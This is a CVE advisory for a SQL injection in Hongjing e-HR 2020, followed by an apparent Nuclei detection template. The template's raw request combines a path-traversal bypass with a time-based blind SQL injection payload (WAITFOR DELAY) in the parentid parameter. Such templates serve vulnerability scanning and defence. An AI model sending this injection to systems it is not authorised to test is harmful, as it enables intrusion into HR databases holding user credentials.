A vulnerability, which was classified as critical, has been found in Hongjing e-HR 2020. Affected by this issue is some unknown functionality of the file /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree of the component Login Interface. The manipulation of the argument parentid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247358 is the identifier assigned to this vulnerability.
PoC
id: CVE-2023-6655
info:
name: Hongjing e-HR 2020 - SQL Injection
author: pussycat0x
severity: high
description: |
A vulnerability, which was classified as critical, has been found in Hongjing e-HR 2020. Affected by this issue is some unknown functionality of the file /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree of the component Login Interface. The manipulation of the argument parentid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-247358 is the identifier assigned to this vulnerability.
impact: |
Unauthenticated attackers can execute arbitrary SQL queries via the parentid parameter, potentially extracting sensitive database information including user credentials.
remediation: |
Update Hongjing e-HR to a version newer than 2020 that addresses this SQL injection vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-6655
- https://github.com/Gent5698/vulnerability/blob/main/%E5%AE%8F%E6%99%AF/CVE-2023-6655/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2023-6655
cwe-id: CWE-89
epss-score: 0.03735
epss-percentile: 0.89272
cpe: cpe:2.3:a:hrp2000:e-hr:2020:*:*:*:*:*:*:*
metadata:
verified: true
vendor: hrp2000
product: e-hr
fofa-query: title="人力资源信息管理系统"
tags: cve,cve2023,hjsoft,management-system,sqli,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, '/hcm/themes/')"
condition: and
internal: true
- raw:
- |
GET /w_selfservice/oauthservlet/%2e./.%2e/general/inform/org/loadhistroyorgtree?isroot=child&parentid=1%27%3BWAITFOR+DELAY+%270%3A0%3A6%27--&kind=2&catalog_id=11&issuperuser=111&manageprive=111&action=111&target= HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
matchers:
- type: dsl
dsl:
- "duration >= 6"
# digest: 490a0046304402207ae4fbc3c1e51954d757e822a0fe36083b67040849db46e2454f772b6531ff950220552f26ca71cf57d6b8be938c014f5b59b35d9dea0e4f685da9c3f710bd442829:922c64590222798bb761d5b6d8e72950
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